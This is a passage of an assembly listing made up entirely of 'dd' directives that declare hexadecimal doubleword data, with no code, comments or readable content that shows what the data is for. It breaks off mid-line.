dd 4A42B300h, 0E5B4D440h, 0F98B4F16h, 2C911016h, 0C9815300h dd 7624E278h, 0BFE8584Eh, 222A6916h, 0F1F5A1D5h, 0F8E14484h dd 0B25843Bh, 8B71FDAEh, 8BA77CB0h, 425D7BFEh, 8804579Ch dd 0C81FAC25h, 0E58B9EBCh, 3188A2F5h, 26F73A0Ch, 1258C165h dd 0A051D1DFh, 7609BBFCh, 5127059Eh, 0C72430FBh, 8B2F3751h dd 0D2574D1h, 7F4D86E9h, 9860EBDh, 855AF12Bh, 0FB20FCA1h dd 780C4588h, 0CDEF0088h, 0E408BFE7h, 0EB134BAFh, 0DD206917h dd 6FAA4D1h, 545A0F9Eh, 0FCE020B4h, 0D70CBA95h, 0F90B4D5Bh dd 0AC625FE9h, 9D5F30D5h, 2214473Dh, 0EA88A323h, 530E5628h dd 69D3AE0Dh, 6906DE04h, 0ACAD5F4Eh, 0F031B145h, 95E10404h dd 1BF9AE13h, 0AD58C2ECh, 6609755Eh, 5DDF8B9Ch, 0B6F86673h dd 0EAD60282h, 0FD5B9DEh, 141DE391h, 14C0BBECh, 9A1530Dh dd 0BC6E8404h, 0E5809030h, 4A9156D8h, 7C69995Ah, 56A64EEEh dd 0E640FEE4h, 562C8B1Fh, 33A704BBh, 0A9FC17CFh, 0EE2AB92Ch dd 0C014FC27h, 65B846F9h, 82288070h, 0B72574BAh, 0AC4767ECh dd 807B606Ah, 0EA017746h, 0E6271B65h, 0D8FF4FBEh, 2FCC5CB7h dd 125F0717h, 67385D4Ah, 0A1099AE3h, 0D60BD380h, 1C46D618h dd 58E5BE03h, 8AA87B93h, 6C9203EBh, 5BEAB72Dh, 181C5901h dd 25E794Eh, 0CB78311Dh, 5760C8ECh, 887A3E0Fh, 5D12D695h dd 0A3E1C426h, 0C570DCFBh, 0E9295A11h, 18C8E966h, 0D1BD2589h dd 70289C75h, 307EE157h, 692D6623h, 57DC509h, 49EF827Fh dd 0E2FE0920h, 5A39186Ch, 2063EA0Bh, 277DE103h, 6F748D2Ah dd 3A00D96Ah, 60A666FDh, 0FE013D8Fh, 0BFF94DB3h, 63E54C54h dd 0F5A5292Bh, 0E3820404h, 518356FAh, 8010425Fh, 80FDDB55h dd 3DF62A3Ch, 3300DA9Fh, 0CD8C6B9Bh, 95BDDB25h, 56BF9394h dd 78DF2BE5h, 0A00113Ah, 60A1D0C5h, 24AF41BBh, 8B8E5AF3h dd 0EF5765F7h, 0AC6A44A0h, 79ED4E89h, 7E9D3EB8h, 0E380C0CEh dd 8B2366F6h, 272C26DEh, 9DFA32Eh, 254293Dh, 9A15E0EBh dd 9791BAEAh, 0FF2DE237h, 0EF6A7585h, 0D200886Fh, 0FE170D90h dd 0AA0398E5h, 6018E268h, 0FBD82530h, 1B1D8160h, 749F7F7Ah dd 99BD62F4h, 0A761DBD5h, 0E5F844CCh, 15A9114Ah, 1D680D7h dd 7A38E953h, 3CB95A02h, 0EEF82ABDh, 19D1BF02h, 69564A82h dd 763D5F27h, 0E31E3F0Fh, 0B864B19Eh, 9FF97735h, 12FE567Eh dd 0B022710Fh, 0C925CB8Eh, 0DD866262h, 90D04473h, 31011CB9h dd 0AFF19334h, 0A696C6DAh, 0CCC80159h, 52488483h, 231AF171h dd 41D8AAC0h, 855F07CBh, 0BC0DCF20h, 169A0ED9h, 0F7C38304h dd 3AC89C61h, 8404A42Bh, 5A9D641Bh, 0A1B2CAEAh, 0D6707DFDh dd 0BB47C085h, 44D8756Dh, 561D0997h, 4F32104Fh, 0D54C37AFh dd 986BAADAh, 0CC3B1723h dd 5A8A3052h, 0EC8568D8h, 50923F44h, 0C1ED20DFh, 313AD5Eh dd 12EAF7C6h, 0B5A25Ah, 0A84299AFh, 251F4B7h, 98F1E345h dd 0D3E66A16h, 3DE6F8EFh, 0F7308F25h, 0F87DC0EAh, 0BF5B5B2Bh dd 797A4720h, 0C26D4EDAh, 75CC632h, 0F42C7CA5h, 0A80AC200h dd 5CD6DC4Fh, 0DDE9783Dh, 235AC021h, 6B243111h, 30D38714h dd 2E6516C7h, 0BF529F90h, 96621BF2h, 9817FA51h, 7BE53981h dd 0BAECAA25h, 61BD16B9h, 0E0B1B690h, 569D768h, 0DB21974Fh dd 0AE5184B9h, 71C0E7E9h, 2114CEB3h, 8A11BA12h, 0FD5E808Eh dd 493DADE2h, 0AB51D584h, 0A8B5EE16h, 1197EC7Ah, 0DAA51522h dd 1D4680F6h, 95A8C223h, 5C9FB394h, 0DE82265Fh, 3BF0824Eh dd 0A482822Dh, 4ED528B9h, 1185102Dh, 56CBEE1Bh, 56A87E79h dd 36847F97h, 0E06CB65Bh, 4EF2AC7h, 5961AA80h, 0F9C9AB5Bh dd 5413DCh, 7C7386CFh, 8CB5ACFFh, 5231F713h, 60129630h dd 0BF35027Bh, 0D3EA1D77h, 4A939675h, 4E28EB66h, 0C9BEEB25h dd 0A8146996h, 5F12E2B6h, 0D5D01DF3h, 0D43F133Ah, 813FB895h dd 0EBF3F5A5h, 1A0467E0h, 84880C82h, 4F85D8F7h, 0D27FBE5Bh dd 0D8AB8000h, 3E7E0C58h, 0D40ED4B5h, 0BEC0F6BCh, 4AE780F6h dd 0A82AA287h, 4F2079AFh, 0B307883Bh, 0C9825B1Eh, 0CE18EB40h dd 26FCF33h, 0FD345D2Eh, 6D55BDB0h, 60186437h, 0BBE6AEFh dd 8F0F37EBh, 0DB5D4E6Ah, 7AEB0250h, 73DD9648h, 692726E3h dd 0EB016954h, 5E64CE7h, 0B39FD82Fh, 960849BFh, 414FC01Bh dd 4BD1310h, 89C2886Ch, 0BBA0EA9Dh, 0B2ABBF57h, 4D00863Fh dd 0C208153Eh, 0DA764B4Fh, 0C01AC85Dh, 17B559B3h, 0A9527614h dd 802040AFh, 194BC724h, 96289C7h, 21B75519h, 9D801991h dd 5FCA2D01h, 23A8A84Bh, 20B502C7h, 0A58A98C5h, 0E5C80412h dd 0CF7D44F1h, 0A713E5ECh, 38CA34F1h, 1083AA0h, 5112F27Bh dd 5BF541Dh, 0BE34A9D5h, 0B6F44BA3h, 255709FAh, 9F4E781Dh dd 0B5A60E4h, 38C475ACh, 912EC58h, 0D55B3B10h, 189106B5h dd 9F62918Fh, 84FDDE5Bh, 0F61009F3h, 0F72E5D12h, 24BE4F67h dd 0E49EFE3Eh, 1DC6F81h, 17ECEF95h, 9ABA2212h, 0CA6597C3h dd 0C94F8AE3h, 19BC3A85h, 55350179h, 241D61C6h, 0D3587C97h dd 2C681712h, 765127DFh, 73F610FDh, 0ACDD00FFh, 0E187D913h dd 9E164D5Eh, 88AC51F8h, 0B8DFF992h, 0D4AD0269h, 89E27443h dd 8894F2FFh, 0B5425FFAh, 9543E59h, 0C96D770Fh, 6EA2BC79h dd 6A307F97h, 47284AC3h, 2964FD33h, 0D1BC5B8Fh, 0A5744CA2h dd 10221DE1h, 2040FE2Eh, 0DB12A062h, 65801270h, 76990079h dd 965FF53Ch, 0A5BE6007h, 56E51E8Ch, 55C080FFh, 507F615Eh dd 1C773797h, 2C361234h, 8A0BBB2Fh, 2471D40Ch, 0DEBC33DEh dd 186AEEB5h, 6153CD09h, 0E3674FFDh, 2EE88A0Ch, 0A3B859Fh dd 0CC8850F1h, 2FADB65Ah, 91603BADh, 7B362AFCh, 65BA00C7h dd 0FB334EBh, 6DB5DBBFh, 4C225A7h, 5DB09A75h, 544985D6h dd 0F8BFC1B4h, 0E8763DC6h, 7FB316D0h, 0F29EFA4Ch, 0BAC17895h dd 2CE48BD7h, 0DC5B80DFh, 3F8FE8A2h, 29F1B35h, 0F2A5FD9Fh dd 0E0AF4D7Dh, 0C18B32CCh, 0B978C4B3h, 5FA6019Fh, 0FA71294h dd 0A1E12C87h, 97F47152h, 6C0E2EE1h, 0B4C4D3BCh, 41C807Fh dd 1294D86h, 21E927F4h, 0D9F8F700h, 0E1000438h, 0BEA12FDh dd 0FE26DDh, 0F113F2D7h, 0FB21E606h, 0ABE82901h, 0B114C83Fh dd 2FDCBB30h, 1DDCD2F9h, 0EC10FD00h, 223106h, 2397FE57h dd 8CD16FD4h, 0E8B8635Eh, 0CA00983Ch, 7C7AE142h, 0FF001227h dd 3DA245EFh, 792CB3h, 1BB6515Bh, 26942BD6h, 1D8DD00h dd 0CA35F4EDh, 52E40721h, 20A13AA3h, 0C5C83B9Dh, 0C27146Ch dd 0F4FE00E2h, 3CA1244Bh, 0D00DCD1h, 1F1D6BA7h, 0E4844DBCh dd 0E2D50048h, 36D7F8F4h, 0A300290Eh, 1DBFF0E0h, 3A678784h dd 7A6588h, 401EA16h, 45DF79B0h, 0AAEC8C5Eh, 0F5889305h dd 0EFE3C58Fh, 60DA1F80h, 0D18219B7h, 7B2519A8h, 0F80B7F1h dd 55B7722Fh, 0EDE8388Ch, 87A7D700h, 6A528568h, 4118179Dh dd 4F21EA88h, 8B0095D7h, 0B465C556h, 30803111h, 45A913h dd 85650BE1h, 98272A82h, 0D5A8B300h, 52299677h, 9C7255h dd 753BA60h, 0A26C625h, 0D593241Dh, 1FDA0F87h, 97403921h dd 0C0BD5A84h, 0FC02802Eh, 0F7309C11h, 0DBFF1B83h, 0BBD7B0Fh dd 0A57C2D2Ah, 60D283D7h, 0C4B3C8ABh, 5C35E296h, 0C50AD0D0h dd 23DE03h, 8CDA29CDh, 0F307D5E2h, 5709FE10h, 1F4D2F10h dd 0D7380098h, 80F8E6D6h, 0BA1CA325h, 5F00D41Dh, 0E48EAA0Ch dd 76B21244h, 0C95A406Bh, 0DA578D43h, 28264204h, 2F883006h dd 85DB30A0h, 3B277EFEh, 5D914B18h, 0C001566Ah, 31CEB041h dd 79007C87h, 7F5F8EA0h, 3C1A1D90h, 178159B6h, 53BC24B5h dd 0AC42D89Eh, 87343300h, 11E6777Eh, 7E72FC5h, 480CFDCh dd 0A0523FA3h, 0B6D003Dh, 9D4E7143h, 950254FAh, 932CD538h dd 5FDA602Bh, 8EA3Ah, 9E4B4287h, 0BD51BC21h, 8C9D7300h dd 8572A760h, 0B2A05063h, 68110EDAh, 37E0CD64h, 0A4757897h dd 835A503Fh, 0FBE31224h, 0A523B8F7h, 0B76C0001h, 8E30C772h dd 6A00A14Bh, 0DB7BB663h, 0B39212h, 0B025C5A7h, 0AA3E210h dd 23348207h, 132003CEh, 0E94C2DEEh, 0DCC99D41h, 0D51E60h dd 97A015F8h, 3DDBD231h, 0CFFB0404h, 0C186B538h, 0FDDF1454h dd 0BA11B02Eh, 0CD8C3098h, 17C8326h, 6336B750h, 24B624D3h dd 0ED0014BCh, 21B9F6E7h, 12CDC113h, 0B14B2Eh, 3BDBC835h dd 8E7B9ECCh, 0C423D901h, 0ED20BD18h, 50994F70h, 90F5FAA8h dd 3DE4C8h, 8174913Ah, 42B35876h, 10973530h, 242432D9h dd 5DE7Ah, 0A55E8C73h, 10317C91h, 9C95B4EDh, 0A1286F12h dd 9BDE7D41h, 0BD182524h, 1500B3D8h, 11AE53B6h, 0C58A30ADh dd 0FB459E7Eh, 2007FF80h, 444900BAh, 815D8984h, 2005037h dd 0A269536Ch, 24D87E2Bh, 0AF2EB119h, 9A0923D6h, 91473384h dd 79809FDAh, 20CF5F1Ch, 5E064FC0h, 0C4B5669Bh, 2741011Dh dd 5B3D3B62h, 7AF4202Ah, 4AA3D718h, 0BD1F1Eh, 7B60474Eh dd 20957658h, 0D804900h, 0C49AC8BFh, 0BDA90504h, 26617C9h dd 0DCEDDF85h, 0D075CB41h, 192864EFh, 9600C8CCh, 11B720E9h dd 242EFBF2h, 44A51C08h, 818C00E6h, 6F412Bh, 1E2F246Eh dd 34CFF9F8h, 19B6C101h, 0EF265704h, 0E6A34E8Bh, 0FC4E172Ch dd 1645CE0Ch, 1CE01F63h, 1DE7EE23h, 39A4C0DAh, 0B44E103Eh dd 65095500h, 1979735Ah, 0D2E2006Ch, 2CA1684Fh, 1A00D97Dh dd 0B9B153B0h, 2858032Fh, 855F25h, 0F52CE5A2h, 8F80C866h dd 0EB0016FEh, 9D3D4D30h, 3DDCA23h, 2992C139h, 9780D9DCh dd 0E13DD433h, 0DECCAF08h, 30013E77h, 9B223C7h, 0C3A07FFCh dd 0CFEE1DEDh, 4863403Ah, 0BC7386E2h, 0B9807500h, 0D0047753h dd 0F5B00389h, 706E0F4Ch, 3EEB7003h, 1423518h, 0A4B2DD11h dd 0F4E627C8h, 258DED9h, 5A490E56h, 4579A056h, 9D42B1h dd 557A7D70h, 6EA36886h, 2AAC675Fh, 36D89180h, 0D33E9BC7h dd 598C192Eh, 5D65095Eh, 0CAC120h, 0AB34E825h, 48D67131h dd 1F3C0506h, 542C4D5Eh, 0A889EEDBh, 73D8DFEFh, 0FFE00F2h dd 8F06CB9Eh, 7EF134DAh, 0F235C7A5h, 40F4850h, 0F60DC079h dd 46E89509h, 0A710E900h, 17D2C342h, 365414F7h, 9900C391h dd 65EF0ACFh, 0D00A333h, 9E6D1C4h, 5FF5E004h, 3FACD8h dd 0EDA570C6h, 2AB91Eh dd 0F64BEEDFh, 9C891465h, 648A2313h, 93733400h, 718096h dd 0C732A44Ch, 75F8DF6Fh, 87E9E67Dh, 0DE13102Ch, 0B802A223h dd 807737h, 6685A95Ah, 0A45D8489h, 0F96006F4h, 7086832Eh dd 0A73914C6h, 601797D0h, 0FF32E455h, 0C35651Ch, 0E505ABAAh dd 2E2F2234h, 0EBA98107h, 80FEE1E5h, 0EC1BBF7Eh, 0F2A14A0Ch dd 922187h, 29C32A95h, 175D2C3Eh, 9851410Bh, 8E750915h dd 0D002C0D6h, 0FB6FEA29h, 0A82CAB43h, 0DEB928CDh, 6BA8C387h dd 1E075212h, 0D13A928Fh, 0A169BC81h, 0A08B1B20h, 2AF841D5h dd 2FCE225Bh, 0CED4E29Fh, 0E4A1C667h, 48238F1h, 86305201h dd 0BC9BD181h, 71A47E13h, 0CFDE0036h, 78F07EEFh, 0CB17143Ah dd 4EB03ECh, 409C899Ch, 0BB413C9h, 88B0C02h, 0F01A8A70h dd 0B33ACB1Fh, 8EFF007Dh, 431B473Eh, 3BC4007Dh, 21E0768Dh dd 96013735h, 395C577h, 0DFC47A5h, 8EE8D4h, 5B299B0Fh dd 8BC8517Ch, 9E02F270h, 77B26F1Dh, 0C2894976h, 0C3A1DCD8h dd 0CD611E1Dh, 504CC199h, 37B046B8h, 30E2934Ch, 202E1EACh dd 0F12903BFh, 87CA0B48h, 0EA97B007h, 3ED532h, 37D79203h dd 17C9101h, 950C8A4Bh, 0A4E47E2Fh, 709741FDh, 9100482Fh dd 413EB658h, 826B4Ch, 1D9A7559h, 8F4A4BBEh, 85A25A03h dd 5DE9FBCh, 88AE5B3Dh, 41E8069h, 10E87C7Fh, 0D8F66C01h dd 19B5C233h, 770DFFD8h, 4E9030Ah, 45202CB2h, 5FA613E0h dd 6A3AA0Fh, 725D403Bh, 0DADB1Fh, 0ECFA092Dh, 0F09FCA42h dd 14FBCE17h, 4DC540FEh, 5A837284h, 1F1458BFh, 0BCDC04Bh dd 5D8040FAh, 1ACF36A3h, 27949300h, 0EED0D7DEh, 7FE0BEBh dd 80FFD386h, 0EAD3043h, 0BF3600FBh, 510D592Eh, 140742C9h dd 8BEF725Ah, 403E86F2h, 5F716481h, 8000E8B8h, 50A03DA8h dd 0F28C0177h, 0F4EB402Fh, 9D9C40CAh, 1200AD54h, 7F5A5BA8h dd 0F8B3766Fh, 0D066129Fh, 3AAFD1Fh, 7320F61h, 0B43FD8F0h dd 0B6E92C9h, 7FB55946h, 402C97F5h, 81E78957h, 7D04C737h dd 601EF65h, 5C243C87h, 6896032Fh, 18786AD7h, 2102C62h dd 0F52B03h, 2B4A612Fh, 0E5C10029h, 0DDBE5606h, 3800463Ah dd 815EF531h, 0F1B09EDh, 73686C96h, 16D62F3Ch, 541F6878h dd 198F3721h, 6A8B0841h, 81E6E856h, 8318C650h, 34870CC5h dd 520EC8FAh, 81E28908h, 22D06EC2h, 0F0650014h, 0F723FFFAh dd 960043EEh, 0C678281h, 0B4FEF7Fh, 8E25B8BDh, 9B1998F5h dd 15941C5Eh, 1416002Ah, 430B0C7Bh, 357DB700h, 878F712Dh dd 0E8FA7F7Ah, 3ED91D52h, 9CB8009Ah, 0DBBA25A2h, 7F239h dd 673DB9D5h, 6939A8h, 2945B2BCh, 2BD1967Bh, 8DB1100h dd 5215D96Ch, 0C1E5003Ah, 0F1390F3Ch, 9AB703B0h, 408FD493h dd 3307D993h, 60ADB62Eh, 0A4B55402h, 9A44DD01h, 51905F27h dd 72C42FDFh, 17513600h, 0D0580C32h, 0C2BF095Ah, 0B9D550ACh dd 283D9088h, 0A300D3B8h, 0AB9AAC8Eh, 2FBD8B0Ah, 0BD5534B5h dd 0C56F8611h, 0C1234C23h, 0B24D2529h, 5DE0C445h, 0F6FE4A90h dd 2756F09Eh, 8E44B5FBh, 0D9008E77h, 3293215Fh, 5AEC550h dd 8BD77B8Ah, 0BD8BCFAh, 0D27D8D29h, 0EA524A71h, 5BB88324h dd 43FD1980h, 884C03EFh, 5F58166Fh, 9D6BC8EFh, 2224415Fh dd 1F7EA6FBh, 7B2DC0C2h, 0F13F78BEh, 6168DCB7h, 105658Dh dd 306F24B3h, 0BA6660C1h, 12AAF4Ch, 0AA6BD4C2h, 0A73E6153h dd 416A5AB0h, 40CE2B1Eh, 0E459D06Dh, 909FFEA5h, 5E64E10h dd 0AC148B27h, 236FCF8h, 315FD09Fh, 32A25595h, 0F65DD1FFh dd 0F37E2F31h, 0B2ED25Ah, 6919D03h, 0F0957E7Ah, 61FAB5B7h dd 8B396071h, 0D3F128C7h, 70FE885Eh, 6B0EE677h, 723CD100h dd 5758D95Ah, 61642D8Bh, 2901315Dh, 0D6E98389h, 207E1CF5h dd 0F28090F3h, 6FB71E69h, 314F40A2h, 0BC1D7E9Ah, 89C2ECA0h dd 5D0F75BDh, 91BBB45Bh, 315113E9h, 375FFAA5h, 3A442798h dd 81945397h, 0DA5A7AE7h, 9BA66E6Ah, 0E04C18E2h, 398DB305h dd 0AC05A3ABh, 0A2EA0A35h, 81B992FDh, 0BB0911A8h, 0F76ABDFDh dd 0ADC41C6Dh, 0EE55558Ch, 9E4A0908h, 0CE02759Fh, 0C4560915h dd 99C45725h, 0A85BCF7Ch, 40225ED8h, 832D0F01h, 924E0Dh dd 0A2DA8C02h, 5FECB0C6h, 39A06EE7h, 57E5AAB1h, 74022F45h dd 6170E663h, 9254B541h, 0C4E990BAh, 795EC720h, 486EDAA1h dd 0B8B1E17Ah, 166FE303h, 21F7B07Ch, 847CB2B7h, 8B41DD2Fh dd 3AE2B7C1h, 43D178C8h, 63B84A1Eh, 4E51FCD2h, 398604AAh dd 0B531210Eh, 3453A97Ah, 16AB319Bh, 3E81FC3Ch, 142249h dd 0FA5806F0h, 0F42B6AEAh, 0F21C2500h, 0EDD2A429h, 2D2E79E7h dd 86E28CBEh, 29619F7Ch, 0A23E4995h, 0DDF85A68h, 0D154AA4Fh dd 0BF5680F8h, 0A650AB8h, 52E95B1Fh, 0E7EF63AFh, 0C78ABC8Dh dd 0B20F780h, 0B72911BDh, 15358DB1h, 818087B9h, 2F86C9D7h dd 728888B7h, 39001391h, 63E001A6h, 3F9080ECh, 0AE518F01h dd 306CC51Eh, 3A9078F4h, 19B836BBh, 929FD95Bh, 6FBAFEF0h dd 0B4660106h, 1315CB9Fh, 2DE15924h, 42736AACh, 4911D6AFh dd 6F5D14A9h, 0A5C14029h, 5E053289h, 1074B958h, 0CDB7AEEh dd 0A060590Ch, 301E41C1h, 3EF96516h, 0A2DF1123h, 0E8585D0Dh dd 0B9B2D873h, 7C3E8B95h, 912FF401h, 200FC6BAh, 660B2665h dd 79E795BBh, 903EA79h, 7EF634A1h, 0BF8800F4h, 9F694720h dd 0F7EE5E56h, 5B5B513Dh, 9EBF8FC4h, 0BA418066h, 5AAE9F31h dd 0B286B63Ch, 0B6B301Ch, 4C09DB73h, 713175AAh, 3A13809Fh dd 7C54424Dh, 0A4EFCE00h, 5310EA88h, 61E8A057h, 5B5F8007h dd 0A8E38016h, 17B2BBF6h, 0F9CCC631h, 0F0B72D07h, 5E69B2E5h dd 0C35E6924h, 2C42E0C0h, 0DC539467h, 98CA685Bh, 0A33B3541h dd 0DFE400BCh, 3191E110h, 92B0B7A4h, 26852149h, 0D304DE8Eh dd 0F837C740h, 0C58069ECh, 42AF8BC0h, 0C4726E00h, 66A965F0h dd 6D573EAAh, 0FF5FF984h, 0B8C6ADE1h, 2815165Eh, 7B94F20Eh dd 119A9205h, 0B2EB3FEAh, 0FC341669h, 1085CAF2h, 0E27ABE04h dd 7C3AC007h, 27E2EEF4h, 895E2BC5h, 38EB1513h, 35EF4D4h dd 3DA17AB7h, 0DDB22E18h, 3A4893CDh, 0C4B8E8A9h, 5B27F600h dd 8BB3E846h, 0BB530EFEh, 0FE3C4563h, 0DE8A600Bh, 845CBDF5h dd 5211E99Fh, 687802FEh, 0E4DE5B92h, 891CE591h, 0EB085385h dd 428DA02Ch, 0D1E962Dh, 6F7850A5h, 2489E8F8h, 0FF70F6DBh dd 0E710D43h, 8942487Ch, 0F5345AA6h, 119D7096h, 0FC2ED27Dh dd 0F19AC907h, 1E0511E9h, 0C0B8942h, 950570E1h, 0E2ADD8FCh dd 3B307559h, 0BF0558F9h, 2A3BB101h, 0BDA098AFh, 0EE156D2Dh dd 47E951E2h, 1F8CE67Bh, 2A8E11A1h, 6FAA1602h, 363877h dd 6AA8FF98h, 4F50EBE1h, 8247ED64h, 283D95h, 0AE6FE381h dd 0D57EF42Dh, 6FBD3519h, 0E7EF08D5h, 3593F0E2h, 0C81207C7h dd 3AE6F253h, 1255A78Ch, 577B7F22h, 2ADEB9D3h, 1A80883Ch dd 7F0BFF31h, 141B5401h, 0B4F1273Ch, 2ACB6C0h, 8EAEBBA2h dd 0FBDE20E2h, 0B9666060h, 297B059Ch, 0D12CD18Dh, 7B068922h dd 0F1CEC19Bh, 0B4C9188Fh, 0F2523B75h, 95984C78h, 0ED1FA759h dd 58011757h, 0B5723902h, 0F854F9C8h, 3B6D3F29h, 160A584h dd 9E90FABDh, 9D61C68Bh, 0FE50EEC9h, 0A52D6546h, 955032h dd 0BB58D78Bh, 559F064Ch, 0F99E5997h, 0E9181Dh, 8AB8C973h dd 9A7E50C5h, 17C03548h, 3A1209Ch, 0B081F76Bh, 504BA031h dd 48DA95E7h, 0FBB5E9F2h dd 8A65F237h, 0A8A0BEF8h, 0D6964254h, 0DDE614C0h, 0F2504E4Dh dd 83068832h, 36E594E8h, 0A977C3A2h, 93A14231h, 0CB81D0F9h dd 0F56E0A3Ch, 3EE873h, 0FC246434h, 0E40080E9h, 96A0C692h dd 1F903950h, 0D3EDD1AAh, 2021BC27h, 8C5B5E18h, 0E72D8027h dd 0BEE2E0C9h, 0B553ECA8h, 0D8098991h, 0E00AD2Bh, 362576E0h dd 72E59928h, 4E1904F9h, 0D4615BB3h, 564298A8h, 0EBA50D7h dd 0B6575F86h, 0C0FBE2C1h, 0B7F59D2Ah, 90B5B696h, 16CE65h dd 8DAE5E10h, 0A25B1306h, 0D0EF8103h, 0C40D68ECh, 0BF4368EFh dd 5A2171F2h, 0EB808413h, 5B6FAA3h, 0BF8F02FAh, 40D03DA1h dd 98D7BD77h, 0BA415E8Fh, 4585C62Ch, 91B13077h, 52CE075Bh dd 81276430h, 0B63D9BDFh, 148ADBDEh, 0B598AEA5h, 17B6B8B7h dd 0EA1ED9BDh, 1B89279Bh, 3FACFC31h, 0B22A0399h, 4C047501h dd 895D8A20h, 0F7FF9A84h, 3CB85AFBh, 38EE9D71h, 855FBDE8h dd 0DF6460BEh, 41E22981h, 6FA8AA07h, 80F0CDA1h, 5E79C5ADh dd 5B2BB0D4h, 0B2BF9601h, 504A382Ah, 0A3ED77DEh, 27B8F9E6h dd 105B09D5h, 0FAC38180h, 0B76EA8E1h, 9F4064DCh, 323F73Eh dd 2AA7B85Ch, 0D9AACE4Fh, 7D1612FFh, 9D13374Ch, 60BA2551h dd 439360CEh, 0C100B1F6h, 9C869EB3h, 25CAB0D4h, 0B0D55CE4h dd 46DCE34Bh, 91CC5A8Ch, 3D9D2F23h, 0B479451h, 0DC0FC1C2h dd 8BDBCB54h, 1666DF52h, 60611877h, 0E587E894h, 2BC060DAh dd 77F1679Dh, 0C6AB1B61h, 0D19B6D58h, 0A8CF278h, 2CC835AAh dd 109509A1h, 2F2C6575h, 0E8531D5Bh, 2CE054BBh, 1C8C4DDFh dd 79C6AD59h, 5B1AB7FEh, 8260130Ah, 451925E6h, 9D030F0Eh dd 99D42D4Bh, 0DD0B29E5h, 0CC305533h, 7B14110Dh, 2FC0B754h dd 3B0EF496h, 29091DBBh, 162B559Dh, 1B592553h, 310F4918h dd 84335ACCh, 60EE5925h, 0F2CF81B6h, 0E7CAC75Ah, 24C03A22h dd 50E898F7h, 454B5CB3h, 0F0E4A64Ah, 9D076A1Eh, 5D7F5BF0h dd 0CA188482h, 2775B981h, 0C18FAD2Eh, 1F6D9D33h, 0EAD0756Bh dd 55048422h, 8692EFCh, 5F45B974h, 0A021CABBh, 7E281C1Bh dd 0E8DEBD0Fh, 9AEA3013h, 2B158AE7h, 0BB410B40h, 0DAE81612h dd 8BBDB22Ah, 80FF532Ch, 0A7F8EB09h, 710075EAh, 5D79DCA8h dd 5B92B25h, 42C90DDAh, 0C4C6AC78h, 0D2AB9D31h, 0E798C6DDh dd 9EB56FAAh, 0D439BCAFh, 69164904h, 0F2820758h, 4309E2F5h dd 89AE8C79h, 0B8BF3941h, 27C89049h, 0AEDC2CD0h, 0E001BA1Ch dd 0EA81F00Eh, 654C2BBBh, 7B50B85Eh, 0F9BFF5B6h, 6A1E0D98h dd 746DFE9Eh, 0C67CE9D6h, 580605E8h, 601AC22Bh, 3881C3F0h dd 7D975A4Dh, 50B7A198h, 0D0033C07h, 45663A81h, 0AF845C19h dd 100A2D8Eh, 0F9D992E1h, 0DEC825D4h, 0C1410A8h, 4F3C4003h dd 0D0C2DF06h, 0FA8B3C1Fh, 0BD1912C8h, 1C5BF836h, 0D1030C18h dd 0DE071D20h, 1208D84Dh, 648025B9h, 12EEA68Fh, 3104C483h dd 308B5127h, 811410B8h, 6114B0A9h, 0C03359B5h, 0B960C03Fh dd 7084F929h, 0D45D8224h, 0D2686025h, 0D44A9AA7h, 5125DAFAh dd 8208A003h, 0EB211D32h, 4A51D3h, 0A442FD3Eh, 0DB026E7Dh dd 0F2AEE6Ch, 816A648Fh, 0F21415C3h, 771C7582h, 6840164Ch dd 5E6D8AD0h, 25C50061h, 5A5B44C3h, 0C21281F9h, 0EBD06B0Ch dd 0A0B8E96Dh, 0FD9807Bh, 1034FF11h, 9B6BEE1h, 0CD455Fh dd 0E2EBF736h, 519F3927h, 1DBE81F9h, 817A7404h, 528B9122h dd 0EFDCF86Eh, 98571D1Bh, 3C89C713h, 83CEE002h, 8ADE04E8h dd 0C9578C9h, 0EBC1D009h, 0FF820D96h, 0D1205A30h, 0B8D07D2h dd 623463E4h, 0A2C0839Dh, 39015DA6h, 0C3612AEBh, 3ED040F5h dd 0C6400EDh, 0DCB8173h, 25FCE912h, 217908CCh, 73140001h dd 23315E1Ch, 0A60E19B8h, 9FCE2A05h, 214EE440h, 1D44EDAEh dd 30D18D50h, 5BC1D238h, 0DC0040DFh, 6E62A89Dh, 5038DD34h dd 44616031h, 60A885DEh, 9EE2201Fh, 0AF801702h, 186D244Dh dd 0F26806BCh, 4539C04Ah, 0D1CC28CAh, 3EEDA806h, 3483279h dd 81831E61h, 6FD08903h, 0A93AB165h, 21063060h, 819BF4h dd 0B62BE955h, 4C680F98h, 0E17589C3h, 3A290031h, 84604376h dd 98C079F0h, 257C8356h, 304E00EBh, 3AC61A27h, 0C10EA710h dd 80BECF43h, 0F672CD42h, 0FA5600FEh, 2563E508h, 0D2003B8Ch dd 0DD4E823Eh, 0E86EA4h, 493A95EBh, 1AE0C342h, 99D2F900h dd 860711BCh, 3BA5F2B0h, 0EC805DDCh, 0CE137572h, 20002B70h dd 0D412AD25h, 93D34Ah, 0F2F759E7h, 31DF8301h, 6DA17C00h dd 7DB65682h, 40E50085h, 9C1473A8h, 4A005280h, 0EBD5EA37h dd 0CA9F62h, 7489B8D6h, 0DFCC642Ch, 60BA7D00h, 22218D97h dd 36C500DBh, 14F0DDB6h, 0E900C477h, 0E7B2C0A7h, 1F3C4CD3h dd 0DC95C5h, 0DBBEA050h, 0C371A18Bh, 1469600h, 0EE253062h dd 6D0933C7h, 21008208h, 0C01594Fh, 1DFB32Fh, 0E134098Eh dd 0E81C31B1h, 0AC06A1A2h, 8FC9440Eh, 32BE0060h, 0B109C3C2h dd 0AE31A2AFh, 0A1A52092h, 5942B603h, 3083E244h, 3C38C80Dh dd 0E8B31F3Bh, 0FCA78E3Bh, 920470CBh, 1F80D12Ch, 0A33F1C06h dd 3EF61818h, 0FA2C498Ah, 0C5BBA3Ah, 888106E5h, 0D53418C6h dd 0E133389Bh, 0AFD72913h, 0DDBBFB00h, 0C973F1h, 329BE6CEh dd 0B4519834h, 102B3Dh, 0E5ECCFADh, 9B5E4C8h, 7F2EE157h dd 803FB804h, 0B813F43Fh, 8169A03Ch, 12C827B7h, 0A2F098AAh dd 0C37235h, 14194539h, 4B7B6A95h, 0F1E27EF4h, 1F5FEC03h dd 8FDC94ADh, 22034450h, 0D311241h, 1B03ABCFh, 0B0F1ED75h dd 551EEDFh, 41C43C60h, 0D451C010h, 0C00032B0h, 0C26AB43h dd 3CD5E16Ch, 0E280616Dh, 0EF079D38h, 338957Dh, 856803Bh dd 2422695Ch, 31BF22Ah, 684A6F4h, 878F321Fh, 63A5C738h dd 2DA88E40h, 0AC0053E1h, 3C235F46h, 0F1F280D5h, 